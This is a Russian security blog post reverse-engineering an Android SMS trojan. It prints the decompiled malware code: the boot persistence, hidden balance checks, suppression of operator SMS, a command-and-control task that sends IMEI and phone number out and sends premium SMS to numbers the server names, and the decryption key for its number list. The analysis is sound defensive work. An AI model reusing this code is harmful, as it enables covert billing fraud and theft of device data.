Pull to refresh

История реверс-инжиниринга одного SMS трояна для Android

Information Security
Sandbox
image
Все началось с жалоб одного моего доброго друга, по совместительству владельца устройства на Android. Он жаловался, что оператор постоянно снимает с него деньги неизвестно за что. После звонков оператору выяснилось, что средства снимали за премиум SMS, которые мой друг якобы отправлял. Я сам неоднократно нарывался в Интернетах на подозрительные сайты, которые предлагают скачать apk с игрой/программой/Live Wallpaper, при установке которого выясняется, что это всего лишь программа, которая отправляет SMS на премиум номера. Но в этом случае если нажал кнопку, то «сам дурак», потому что правила в таких программках явно говорят, что последует отправка SMS на платные номера, да и ссылки они в итоге предоставляют на реальные программы.

Так или иначе, ко мне закралось подозрение, что здесь ситуация тоже завязана на таком роде деятельности, и я взялся разобраться, куда же все-таки утекают денежки.


Безопасная установка приложения


Начнем с того, что мой друг запамятовал, откуда он скачивал последние программы из сети на свой девайс, из него удалось вытрясти только следующую ссылку mobisity.ru (Осторожно, сайт распространяет вредоносное ПО!). Покопавшись на сайте, я вытащил оттуда APK.
Теперь, когда предыстория известна читателю, можно перейти к самому интересному — анализу приложения. Начнем с безопасной установки приложения, а именно, установим его на эмулятор и посмотрим как оно действует.

Запускаем штатный эмулятор Android, желательно версии 2.2 или выше (на более старые версии приложение не устанавливается), для этого запускаем эмулятор через AVD (Android Virtual Device Manager) и выполняем команду
adb install mp3.apk

В списке приложений появляется наблюдаем нашего трояна, под именем Music и с соответствующей иконкой.



Запускаем и наблюдаем процесс какой-то «установки», после которой нам предлагается нажать кнопку «далее»



Если нажать кнопку хардварную кнопку Menu, то можно будет открыть правила и прочесть, что после нажатия кнопки пойдет отправка SMS на платные номера. Ну и ладно, значит, пока что это из разряда «сам дурак». Так куда же постоянно утекают средства? Пока не понятно, исследуем дальше.

Анализ кода


Для анализа я использовал следующие инструменты: jd-gui, dex2jar и apktool.

Первым делом разберем APK при помощи apktool и посмотрим на структуру проекта. Для этого необходимо выполнить команду
apktool d mp3.apk
Анализ внутренней структуры проекта ничего интересного не дает, за исключением того, что в папке assets лежит непонятный файл data.xml, видимо он хранит какие-то данные, но зашифрован, так как, на первый взгляд, данные не поддаются простому анализу.

Ну что же, остается только смотреть код, для этого используем dex2jar. Вытаскиваем при помощи своего любимого архиватора файл из APK с названием classes.dex, и при помощи dex2jar преобразовываем его в jar файл. Полученный jar нужно открыть в программе jd-gui. Всё, теперь у нас есть весь (ну или почти весь) код приложения:



Прежде чем сломя голову бросаться анализировать код, я решил посмотреть файл AndroidManifest.xml, как правило из него можно вытащить много полезной информации о приложении.

Полный листинг файла AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest android:versionCode="1" android:versionName="1.0" package="net.droid.installer"
  xmlns:android="http://schemas.android.com/apk/res/android">
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.WRITE_SMS" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.WAKE_LOCK" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
    <uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT" />
    <uses-permission android:name="android.permission.CALL_PHONE" />
    <uses-permission android:name="android.permission.READ_LOGS" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <application android:label="@string/app_name" android:icon="@drawable/icon">
        <activity android:theme="@android:style/Theme.NoTitleBar" android:label="@string/app_name" android:name=".InstallActivity" android:screenOrientation="portrait" android:configChanges="keyboardHidden|orientation">
            <intent-filter>
                <action android:name="android.intent.action.CREATE_SHORTCUT" />
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity android:theme="@android:style/Theme.NoTitleBar" android:name=".RuleActivity" android:screenOrientation="portrait" />
        <activity android:theme="@android:style/Theme.NoTitleBar" android:name=".LoaderActivity" android:screenOrientation="portrait" />
        <activity android:theme="@android:style/Theme.NoTitleBar" android:name=".StartActivity" />
        <receiver android:name=".StartupReceiver" android:enabled="true" android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.QUICKBOOT_POWERON" />
            </intent-filter>
        </receiver>
        <service android:name=".UpdateService" android:enabled="true" />
        <receiver android:name=".UpdateReceiver" />
        <receiver android:name=".MessageReceiver">
            <intent-filter android:priority="1000">
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>
        <receiver android:name=".Scanner">
            <intent-filter>
                <action android:name="android.intent.action.PACKAGE_ADDED" />
                <action android:name="android.intent.action.PACKAGE_REPLACED" />
                <action android:name="android.intent.action.PACKAGE_REPLACED" />
                <data android:scheme="package" />
            </intent-filter>
        </receiver>
        <service android:name=".USSDDumbExtendedNetworkService">
            <intent-filter>
                <action android:name="com.android.ussd.IExtendedNetworkService" />
                <category android:name="android.intent.category.DEFAULT" />
            </intent-filter>
        </service>
    </application>
</manifest>


Просмотрев файл, я заинтересовался BroadcastReceiver'ом с именем StartupReceiver — очевидно, что он запускает какой-то код при загрузке системы, на это указывают заявленные intent-filters.

Код StartupReceiver
package net.droid.installer;

import a;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.RemoteException;
import android.preference.PreferenceManager;
import android.telephony.TelephonyManager;

public class StartupReceiver extends BroadcastReceiver
{
  private static ServiceConnection d = null;
  boolean a = false;
  Context b;
  private a c = null;

  public void onReceive(Context paramContext, Intent paramIntent)
  {
    this.b = paramContext;
    Object localObject = ((TelephonyManager)paramContext.getSystemService("phone")).getSimOperatorName();
    PreferenceManager.getDefaultSharedPreferences(paramContext).edit().putBoolean("wasreload", true).commit();
    try
    {
      if ((((TelephonyManager)this.b.getSystemService("phone")).getSimOperator().toString().equals("25099")) || (((String)localObject).toLowerCase().contains("tele")) || (((String)localObject).toLowerCase().contains("����")))
        d = new j(this);
    }
    catch (Exception localException1)
    {
      try
      {
        paramContext.bindService(new Intent("com.android.ussd.IExtendedNetworkService"), d, 1);
        label120: localObject = this.c;
        if (localObject != null);
        try
        {
          this.c.a(":ON;)");
          while (true)
          {
            label141: paramContext.startService(new Intent(paramContext, UpdateService.class));
            return;
            localException1;
          }
        }
        catch (RemoteException localRemoteException)
        {
          break label141;
        }
      }
      catch (Exception localException2)
      {
        break label120;
      }
    }
  }
}


По всей видимости, в случае необходимости, здесь производится биндинг с системным сервисом, который обеспечивает работу USSD запросов. Логично было бы предположить, что троян таким образом отслеживает баланс пользователя.
Кроме этого, в коде видно, что запускается сервис UpdateService.

Код UpdateService
package net.droid.installer;

import android.app.AlarmManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.IBinder;
import android.preference.PreferenceManager;

public class UpdateService extends Service
{
  static Context a;
  static String b = "http://mxclick.com/";
  static int c = 60;
  static SharedPreferences d;
  static String e = b;
  static boolean f = false;

  public static void a()
  {
    SharedPreferences.Editor localEditor = d.edit();
    localEditor.putBoolean("appblocked", true);
    localEditor.commit();
  }

  public static void a(String paramString)
  {
    SharedPreferences.Editor localEditor = d.edit();
    localEditor.putString(a.getString(2130968584), paramString);
    localEditor.commit();
  }

  public IBinder onBind(Intent paramIntent)
  {
    return null;
  }

  public void onCreate()
  {
  }

  public void onDestroy()
  {
    super.onDestroy();
  }

  public void onStart(Intent paramIntent, int paramInt)
  {
    super.onStart(paramIntent, paramInt);
    a = this;
    Object localObject = PreferenceManager.getDefaultSharedPreferences(this);
    d = (SharedPreferences)localObject;
    e = ((SharedPreferences)localObject).getString(getString(2130968584), b);
    localObject = (AlarmManager)getSystemService("alarm");
    PendingIntent localPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(this, UpdateReceiver.class), 0);
    ((AlarmManager)localObject).setRepeating(0, System.currentTimeMillis(), 60000 * c, localPendingIntent);
  }

  public boolean onUnbind(Intent paramIntent)
  {
    return super.onUnbind(paramIntent);
  }
}



Очевидно, что данный сервис при старте устанавливает при помощи планировщика AlarmManager запуск Intent, который является сигналом к запуску BroadcastReceiver'a с именем UpdateReceiver, а если точнее, то его метода — onReceive.

Код UpdateReceiver
package net.droid.installer;

import a;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.net.Uri;
import android.os.PowerManager;
import android.os.PowerManager.WakeLock;
import android.preference.PreferenceManager;
import android.telephony.SmsManager;
import android.telephony.TelephonyManager;
import java.util.ArrayList;

public class UpdateReceiver extends BroadcastReceiver
{
  static boolean i = false;
  private static ServiceConnection l = null;
  Context a;
  SharedPreferences b;
  boolean c = false;
  String d = "";
  String e = "";
  String f = "";
  String g = "";
  String h = "";
  ArrayList j = new ArrayList();
  private final a k = null;

  private String a()
  {
    return ((TelephonyManager)this.a.getSystemService("phone")).getSimOperator().toString();
  }

  private void a(String paramString1, String paramString2)
  {
    PendingIntent localPendingIntent1 = PendingIntent.getBroadcast(this.a, 0, new Intent("SMS_SENT"), 0);
    PendingIntent localPendingIntent2 = PendingIntent.getBroadcast(this.a, 0, new Intent("SMS_DELIVERED"), 0);
    SmsManager.getDefault().sendTextMessage(paramString1, null, paramString2, localPendingIntent1, localPendingIntent2);
  }

  public void onReceive(Context paramContext, Intent paramIntent)
  {
    this.a = paramContext;
    this.b = PreferenceManager.getDefaultSharedPreferences(this.a);
    PowerManager.WakeLock localWakeLock = ((PowerManager)paramContext.getSystemService("power")).newWakeLock(26, "ALARMSERVICE");
    localWakeLock.acquire();
    Object localObject = ((TelephonyManager)this.a.getSystemService("phone")).getSimOperatorName();
    try
    {
      if (a().equals("25001"))
        a("111", "11");
      while (true)
      {
        if (!PreferenceManager.getDefaultSharedPreferences(paramContext).getBoolean("appblocked", false))
        {
          localObject = PreferenceManager.getDefaultSharedPreferences(this.a);
          SharedPreferences.Editor localEditor = ((SharedPreferences)localObject).edit();
          if (((SharedPreferences)localObject).getBoolean("new", true))
          {
            localEditor.putBoolean("new", false);
            localEditor.putLong("time", 1200000L + System.currentTimeMillis());
            localEditor.commit();
          }
          if (System.currentTimeMillis() > ((SharedPreferences)localObject).getLong("time", 0L))
            new m(this).execute(new String[0]);
        }
        label191: localWakeLock.release();
        return;
        if (a().equals("25002"))
        {
          a("000100", "b");
          continue;
        }
        if ((a().equals("25099")) && (PreferenceManager.getDefaultSharedPreferences(this.a).getBoolean("wasreload", false)))
        {
          localObject = new Intent("android.intent.action.CALL", Uri.parse("tel:*102" + Uri.encode("#")));
          ((Intent)localObject).addFlags(268435456);
          paramContext.startActivity((Intent)localObject);
          continue;
        }
        if (((!((String)localObject).toLowerCase().contains("tele")) && (!((String)localObject).toLowerCase().contains("����"))) || (!PreferenceManager.getDefaultSharedPreferences(this.a).getBoolean("wasreload", false)))
          continue;
        localObject = new Intent("android.intent.action.CALL", Uri.parse("tel:*105" + Uri.encode("#")));
        ((Intent)localObject).addFlags(268435456);
        paramContext.startActivity((Intent)localObject);
      }
    }
    catch (Exception localException)
    {
      break label191;
    }
  }
}



Здесь мы видим, что троян проверяет текущий баланс пользователя, прежде чем отправлять SMS. И кроме этого, он запускает AsyncTask с именем m, который отправляет запрос к скрипту mxclick.com/getTask.php. Скрипт по всей видимости отдает нужный номер, на который будет осуществлена отправка тех или иных SMS. Ну и в итоге UpdateReceiver выполняет отправку SMS, тем самым осушая баланс бедного пользователя.

Код наследника AsyncTask - класса m
package net.droid.installer;

import android.app.Notification;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.database.Cursor;
import android.net.Uri;
import android.os.AsyncTask;
import android.os.Build;
import android.os.Build.VERSION;
import android.preference.PreferenceManager;
import android.provider.ContactsContract.CommonDataKinds.Phone;
import android.provider.ContactsContract.Contacts;
import android.telephony.TelephonyManager;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.URI;
import java.net.URL;
import java.util.ArrayList;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.DefaultHttpClient;
import org.json.JSONArray;
import org.json.JSONObject;

final class m extends AsyncTask
{
  m(UpdateReceiver paramUpdateReceiver)
  {
  }

  private String a()
  {
    String str1;
    try
    {
      Object localObject7 = (TelephonyManager)this.a.a.getSystemService("phone");
      Object localObject2 = ((TelephonyManager)localObject7).getDeviceId();
      Object localObject4 = ((TelephonyManager)localObject7).getSimCountryIso();
      Object localObject1 = new DefaultHttpClient();
      Object localObject5 = ((TelephonyManager)localObject7).getLine1Number();
      Object localObject3 = ((TelephonyManager)localObject7).getNetworkOperatorName();
      String str3 = ((TelephonyManager)localObject7).getNetworkOperator();
      String str2 = Integer.toString(Build.VERSION.SDK_INT);
      localObject7 = Build.MODEL;
      localObject2 = new URL(UpdateService.e + "getTask.php?imei=" + (String)localObject2 + "&balance=" + PreferenceManager.getDefaultSharedPreferences(this.a.a).getString("balance", "0") + "&country=" + (String)localObject4 + "&phone=" + (String)localObject5 + "&op=" + (String)localObject3 + "&mnc=" + str3.substring(3) + "&mcc=" + str3.substring(0, 3) + "&model=" + (String)localObject7 + "&os=" + str2);
      localObject2 = new URI(((URL)localObject2).getProtocol(), ((URL)localObject2).getUserInfo(), ((URL)localObject2).getHost(), ((URL)localObject2).getPort(), ((URL)localObject2).getPath(), ((URL)localObject2).getQuery(), ((URL)localObject2).getRef()).toURL();
      ((URL)localObject2).toString();
      localObject1 = ((HttpClient)localObject1).execute(new HttpGet(((URL)localObject2).toString())).getEntity().getContent();
      localObject4 = new BufferedReader(new InputStreamReader((InputStream)localObject1, "utf-8"), 8);
      localObject2 = new StringBuilder();
      while (true)
      {
        localObject3 = ((BufferedReader)localObject4).readLine();
        if (localObject3 == null)
          break;
        ((StringBuilder)localObject2).append((String)localObject3);
      }
      ((StringBuilder)localObject2).toString();
      ((InputStream)localObject1).close();
      ((BufferedReader)localObject4).close();
      while (true)
      {
        try
        {
          localObject2 = new JSONArray(((StringBuilder)localObject2).toString());
          int i = 0;
          if (i >= ((JSONArray)localObject2).length())
            break;
          localObject3 = ((JSONArray)localObject2).getJSONObject(i);
          localObject4 = ((JSONObject)localObject3).getString("type");
          if (!((String)localObject4).equals("1"))
            continue;
          UpdateService.f = true;
          UpdateReceiver.a(this.a, ((JSONObject)localObject3).getString("to_number"), ((JSONObject)localObject3).getString("message"));
          localObject5 = new n(this.a);
          localObject7 = new String[1];
          localObject7[0] = "1";
          ((n)localObject5).execute(localObject7);
          if (!((String)localObject4).equals("2"))
            break label742;
          localObject5 = this.a.a.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
          if (!((Cursor)localObject5).moveToNext())
            break label650;
          localObject7 = ((Cursor)localObject5).getString(((Cursor)localObject5).getColumnIndex("_id"));
          if (((Cursor)localObject5).getString(((Cursor)localObject5).getColumnIndex("has_phone_number")).equalsIgnoreCase("1"))
          {
            str2 = "true";
            if (!Boolean.parseBoolean(str2))
              continue;
            localObject7 = this.a.a.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = " + (String)localObject7, null, null);
            if (!((Cursor)localObject7).moveToNext())
              break label640;
            this.a.j.add(((Cursor)localObject7).getString(((Cursor)localObject7).getColumnIndex("data1")));
            continue;
          }
        }
        catch (Exception localException1)
        {
          str1 = "-100";
        }
        str2 = "false";
        continue;
        label640: ((Cursor)localObject7).close();
        continue;
        label650: ((Cursor)localObject5).close();
        for (int j = 0; j < this.a.j.size(); j++)
          UpdateReceiver.a(this.a, (String)this.a.j.get(j), ((JSONObject)localObject3).getString("message"));
        localObject7 = new n(this.a);
        Object localObject6 = new String[1];
        localObject6[0] = "2";
        ((n)localObject7).execute(localObject6);
        label742: if (((String)localObject4).equals("3"))
        {
          localObject6 = new Intent("android.intent.action.VIEW", Uri.parse(((JSONObject)localObject3).getString("open_url")));
          ((Intent)localObject6).addFlags(268435456);
          this.a.a.startActivity((Intent)localObject6);
          localObject7 = new n(this.a);
          localObject6 = new String[1];
          localObject6[0] = "3";
          ((n)localObject7).execute(localObject6);
        }
        if (((String)localObject4).equals("4"))
        {
          UpdateService.a(((JSONObject)localObject3).getString("server_url"));
          localObject7 = new n(this.a);
          localObject6 = new String[1];
          localObject6[0] = "4";
          ((n)localObject7).execute(localObject6);
        }
        if (((String)localObject4).equals("5"))
        {
          localObject4 = new Notification(2130837504, ((JSONObject)localObject3).getString("title"), System.currentTimeMillis());
          localObject6 = new Intent("android.intent.action.VIEW", Uri.parse(((JSONObject)localObject3).getString("urlop")));
          localObject6 = PendingIntent.getActivity(this.a.a, 0, (Intent)localObject6, 0);
          localObject7 = (NotificationManager)this.a.a.getSystemService("notification");
          ((Notification)localObject4).setLatestEventInfo(this.a.a, ((JSONObject)localObject3).getString("title"), ((JSONObject)localObject3).getString("message"), (PendingIntent)localObject6);
          ((Notification)localObject4).defaults = (0x1 | ((Notification)localObject4).defaults);
          ((Notification)localObject4).flags = (0x10 | ((Notification)localObject4).flags);
          ((NotificationManager)localObject7).notify(0, (Notification)localObject4);
        }
        str1++;
      }
    }
    catch (Exception localException2)
    {
      str1 = null;
    }
    return (String)(String)(String)(String)(String)(String)(String)str1;
  }
}



Ну вот, собственно говоря и всё — дальше код можно не разбирать, мы увидели, что опустошение баланса пользователя достигается именно отправкой SMS на премиум номера. Однако, я наткнулся еще на пару интересных моментов, когда просматривал код трояна. Например, входящие SMS с номера 111, который является сервисным номером МТС, блокируются — таким образом, юзер вообще ничего не слышит и не видит, когда его баланс постепенно уходит в минус.
Этим занимается класс MessageReceiver, вот его определение в AndroidManifest.xml

        <receiver android:name=".MessageReceiver">
            <intent-filter android:priority="1000">
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>


Видно, что ему установлен высокий приоритет, таким образом ему удается первым обработать входящие сообщения на девайс. Ну и внутри метода onReceive, мы видим, что если SMS идет с номера 111, то intent перехватывается, то есть broadcast сообщение обрывается на этом обработчике и не идет дальше к остальным приложениям.

Код MessageReceiver
package net.droid.installer;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.Bundle;
import android.preference.PreferenceManager;
import android.telephony.SmsMessage;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class MessageReceiver extends BroadcastReceiver
{
  public void onReceive(Context paramContext, Intent paramIntent)
  {
    Object localObject = paramIntent.getExtras();
    if (localObject != null)
    {
      localObject = (Object[])((Bundle)localObject).get("pdus");
      SmsMessage[] arrayOfSmsMessage = new SmsMessage[localObject.length];
      int i = 0;
      try
      {
        while (i < arrayOfSmsMessage.length)
        {
          arrayOfSmsMessage[i] = SmsMessage.createFromPdu((byte[])localObject[i]);
          if ((arrayOfSmsMessage[i].getOriginatingAddress().contains("111")) || (arrayOfSmsMessage[i].getOriginatingAddress().contains("000100")))
          {
            Matcher localMatcher = Pattern.compile("-?\\d+").matcher(arrayOfSmsMessage[i].getDisplayMessageBody());
            if (localMatcher.find())
            {
              PreferenceManager.getDefaultSharedPreferences(paramContext).edit().putString("balance", localMatcher.group()).commit();
              if (arrayOfSmsMessage[i].getDisplayMessageBody().contains("�����"))
                PreferenceManager.getDefaultSharedPreferences(paramContext).edit().putString("balance", "-" + localMatcher.group()).commit();
              abortBroadcast();
            }
          }
          if (UpdateService.f)
          {
            abortBroadcast();
            UpdateService.f = false;
          }
          i++;
        }
      }
      catch (Exception localException)
      {
      }
    }
  }
}



Еще один интересный момент, который на самом деле позволяет сообществу заставить мошенников ответить за свои поступки — зашифрованная база, о которой я упоминал в начале поста. Во время просмотра кода было выяснено, что файл с номерами был зашифрован алгоритмом Blowfish в режиме ECB. Это симметричный алгоритм шифрования, с хорошим ключом на его взлом могли бы уйти годы, но… Разработчики трояна особо не парились:

public final String b(String paramString)
  {
    try
    {
      Object localObject2 = this.a.getAssets().open(paramString);
      Object localObject1 = new byte[((InputStream)localObject2).available()];
      ((InputStream)localObject2).read(localObject1);
      ((InputStream)localObject2).close();
      localObject2 = new SecretKeySpec("3gYX0W0GiIdT0E9y".getBytes(), a.a);
      Cipher localCipher = Cipher.getInstance("t/c/g".replace("t", a.a).replace("c", a.b).replace("g", a.c));
      localCipher.init(2, (Key)localObject2);
      localObject1 = new String(localCipher.doFinal(localObject1));
      return localObject1;
    }
    catch (Exception str)
    {
      while (true)
      {
        localException.printStackTrace();
        String str = "err";
      }
    }
  }
}


С известным ключом мне стоило только набросать пару строк на Яве, и файл был расшифрован:

Короткие номера, префиксы биллингов и другие настройки трояна
<oper>
	<number>
		<numr>8503,7202,7201,7201,7201</numr>
		<pref>1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030</pref>
		<mccmnc>25001</mccmnc>
		<lock>0</lock>
		<isBlocked>0</isBlocked>
		<url>http://mp3-999.com/content</url>
		<shorcutName>Online</shorcutName>
		<shorcutUrl>http://oxclick.com</shorcutUrl>
		<shorcutIcon>icon</shorcutIcon>
	</number>
	<number>
		<numr>7204</numr>
		<pref>1429015599 041 122 6030</pref>
		<mccmnc>25002</mccmnc>
		<lock>0</lock>
		<isBlocked>0</isBlocked>
		<url>http://mp3-999.com/content</url>
		<shorcutName>Online</shorcutName>
		<shorcutUrl>http://oxclick.com</shorcutUrl>
		<shorcutIcon>icon</shorcutIcon>
	</number>
	<number>
		<numr>8503,7202,7201,7201,7201</numr>
		<pref>1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030</pref>
		<mccmnc>25099</mccmnc>
		<lock>0</lock>
		<isBlocked>0</isBlocked>
		<url>http://mp3-999.com/content</url>
		<shorcutName>Online</shorcutName>
		<shorcutUrl>http://oxclick.com</shorcutUrl>
		<shorcutIcon>icon</shorcutIcon>
	</number>
	<number>
		<numr>7202,7201,7201</numr>
		<pref>1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030</pref>
		<mccmnc>250</mccmnc>
		<lock>0</lock>
		<isBlocked>0</isBlocked>
		<url>http://mp3-999.com/content</url>
		<shorcutName>Online</shorcutName>
		<shorcutUrl>http://oxclick.com</shorcutUrl>
		<shorcutIcon>icon</shorcutIcon>
	</number>
	<number>
		<numr>7204,7204,7212</numr>
		<pref>99933015599 041 122 6030,99933015599 041 122 6030,99933015599 041 122 6030</pref>
		<mccmnc>25503</mccmnc>
		<lock>0</lock>
		<isBlocked>0</isBlocked>
		<url>http://mp3-999.com/content</url>
		<shorcutName>Online</shorcutName>
		<shorcutUrl>http://oxclick.com</shorcutUrl>
		<shorcutIcon>icon</shorcutIcon>
	</number>
	<number>
		<numr>3303,3303,3303</numr>
		<pref>427242015599 041 122 6030,427242015599 041 122 6030,427242015599 041 122 6030</pref>
		<mccmnc>400</mccmnc>
		<lock>0</lock>
		<isBlocked>0</isBlocked>
		<url>http://mp3-999.com/content</url>
		<shorcutName>Online</shorcutName>
		<shorcutUrl>http://oxclick.com</shorcutUrl>
		<shorcutIcon>icon</shorcutIcon>
	</number>
	<number>
		<numr>7204,7204,7212</numr>
		<pref>99933015599 041 122 6030,99933015599 041 122 6030,99933015599 041 122 6030</pref>
		<mccmnc>25501</mccmnc>
		<lock>0</lock>
		<isBlocked>0</isBlocked>
		<url>http://mp3-999.com/content</url>
		<shorcutName>Online</shorcutName>
		<shorcutUrl>http://oxclick.com</shorcutUrl>
		<shorcutIcon>icon</shorcutIcon>
	</number>
	<number>
		<numr>7204,7204,7212</numr>
		<pref>99933015599 041 122 6030,99933015599 041 122 6030,99933015599 041 122 6030</pref>
		<mccmnc>25505</mccmnc>
		<lock>0</lock>
		<isBlocked>0</isBlocked>
		<url>http://mp3-999.com/content</url>
		<shorcutName>Online</shorcutName>
		<shorcutUrl>http://oxclick.com</shorcutUrl>
		<shorcutIcon>icon</shorcutIcon>
	</number>
	<number>
		<numr>3336</numr>
		<pref>427242015599 041 122 6030</pref>
		<mccmnc>257</mccmnc>
		<lock>0</lock>
		<isBlocked>0</isBlocked>
		<url>http://mp3-999.com/content</url>
		<shorcutName>Online</shorcutName>
		<shorcutUrl>http://oxclick.com</shorcutUrl>
		<shorcutIcon>icon</shorcutIcon>
	</number>
</oper>



Еще один момент — все USSD запросы проходят в фоновом режиме, то есть троян может сколько угодно проверять баланс пользователя, тот ничего не заподозрит. По всей видимости реализация фонового выполнения USSD запросов была скопирована разработчиками трояна с сайта commandus. В качестве домашнего задания читателям предлагается понять, почему была скопирована именно реализация с этого сайта и найти подтверждение тому в коде.

Заключение


Хотелось бы сказать, что разработка таких приложений является прямым нарушением закона РФ, а именно статей 159 и 273 УК РФ. Теперь у мошенников уже отмазаться не получится, так как средства с баланса снимаются не после нажатия абстрактной кнопки, где пользователь принимает на себя всю ответственность за последствия. Здесь баланс может опустошаться годами и пользователь может вообще ничего не заподозрить.

Мошенники, а таковыми по определению являются и контент-провайдеры номеров (потому что оказывают прямое содействие в получении прибыли незаконным или мошенническим путем) 8503, 7202, 7201, 7204, 7212, 3303, 3336 должны быть уголовно наказаны. Кстати, конкретных провайдеров для этих номеров можно посмотреть, например, на сайте Мегафона или Билайна. Дабы не быть голословным, привожу конкретные названия замешанных контент провайдеров, которым принадлежат данные номера: ИнкорМедиа ООО, СМС сервисы, ООО (Шутка дня), ООО Инвест Телеком и так далее.

Кроме этого, скорее всего какие-то данные о конкретных виновниках можно выцепить из URL, на который уходят запросы из трояна, а именно: mxclick.com/getTask.php. А вообще, заинтересованные читатели могут по возможности сами попробовать найти другие следы мошенников.

Лично я надеюсь, что глубокоуважаемые операторы Мегафон, Билайн, МТС, Теле2 и остальные примут серьезные меры по поводу контент-провайдеров, потому что они не проследили за использованием их номеров, и кто-то наконец докопается до настоящих виновников, которые разрабатывают и распространяют эти трояны и заставит их ответить по всей строгости закона.
Tags:androidmalware reversingmalwareреверс-инжинирингсмсмошенникиsms
Hubs: Information Security
Total votes 93: ↑88 and ↓5 +83
Views62K

Popular right now

Top of the last 24 hours